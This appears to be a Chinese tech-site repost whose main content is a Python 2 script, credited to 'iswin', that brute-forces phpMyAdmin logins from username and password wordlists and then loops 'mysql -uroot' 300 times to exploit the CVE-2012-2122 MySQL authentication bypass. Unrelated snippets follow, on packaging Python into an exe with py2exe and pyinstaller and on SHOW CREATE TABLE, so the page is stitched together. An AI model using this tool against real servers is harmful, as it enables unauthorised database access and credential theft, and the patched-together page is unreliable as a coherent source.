Python写的PHPMyAdmin暴力破解工具代码,pythonphpmyadmin
Python写的PHPMyAdmin暴力破解工具代码,pythonphpmyadmin
PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。
#!/usr/bin/env python import urllib import urllib2 import cookielib import sys import subprocess def Crack(url,username,password): opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'} params = urllib.urlencode({'pma_username': username, 'pma_password': password}) request = urllib2.Request(url+"/index.php", params,headers) response = opener.open(request) a=response.read() if a.find('Database server')!=-1 and a.find('name="login_form"')==-1: return username,password return 0 def MySQLAuthenticationBypassCheck(host,port): i=0 while i<300: i=i+1 subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait() if __name__ == '__main__': if len(sys.argv)<4: print "#author:iswin\n#useage python pma.py http://www.bkjia.com/phpmyadmin/ username.txt password.txt" sys.exit() print "Bruting,Pleas wait..." for name in open(sys.argv[2],"r"): for passw in open(sys.argv[3],"r"): state=Crack(sys.argv[1],name,passw) if state!=0: print "\nBrute successful" print "UserName: "+state[0]+"PassWord: "+state[1] sys.exit() print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck" choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n') if choice=='Y' or choice=='y': host=raw_input('Host:') port=raw_input('Port:') MySQLAuthenticationBypassCheck(host,port)
把python代码编译成exe的相关文件是一件很有意思的事情,在实现这一相关的步骤其中会有很多的软件会使python代码编译成exe的相关文件,以下就是对文章的相关内容的具体介绍。望你会有所收获。
py2exe
先下载文件(链接),安装比较简单,一路下一步就行了。创建一个例子文件foobar.py:
print "foobar"
创建一个安装文件setup.py:
from distutils.core import setup import py2exe setup(console=['foobar.py'])
执行:
python setup.py py2exe
pyinstaller
先下载文件(链接),只要解压缩到合适的位置即可。创建一个例子文件foobar.py:
print "foobar"
以下操作在解压缩后的目录里进行(以下代码对python代码编译成exe文件有很大的帮助)。配置pyinstaller:
python Configure.py
生成spec文件:
python Makespec.py -F -c foobar.py
执行:
python Build.py foobar/foobar.spec
ps: py2exe 也可以打成只有一个 exe 包,不带 library.zip 的。以上就是对python代码编译成exe文件的相关实际操作的具体介绍。
使用SHOW CREATE TABLE 语句进行查询即可。如:
SHOWCREATETABLE`tb_app` -- 显示tb_app表的建表语句。
查询结果可能看不全,点下面的打印预览即可。
还有一种方法是导出,看导出的文件。
相关内容
- Python写的Socks5协议代理服务器,pythonsocks5
- python脚本实现统计日志文件中的ip访问次数代码分享,
- Python通过解析网页实现看报程序的方法,python看报
- Python生成pdf文件的方法,
- 基于Python实现的扫雷游戏实例代码,python扫雷
- Python代码的打包与发布详解,python代码详解
- Python使用PyGreSQL操作PostgreSQL数据库教程,pygresqlpostgre
- python新手经常遇到的17个错误分析,python新手遇到17
- Python中apply函数的用法实例教程,pythonapply
- Python中zip()函数用法实例教程,python实例教程
评论关闭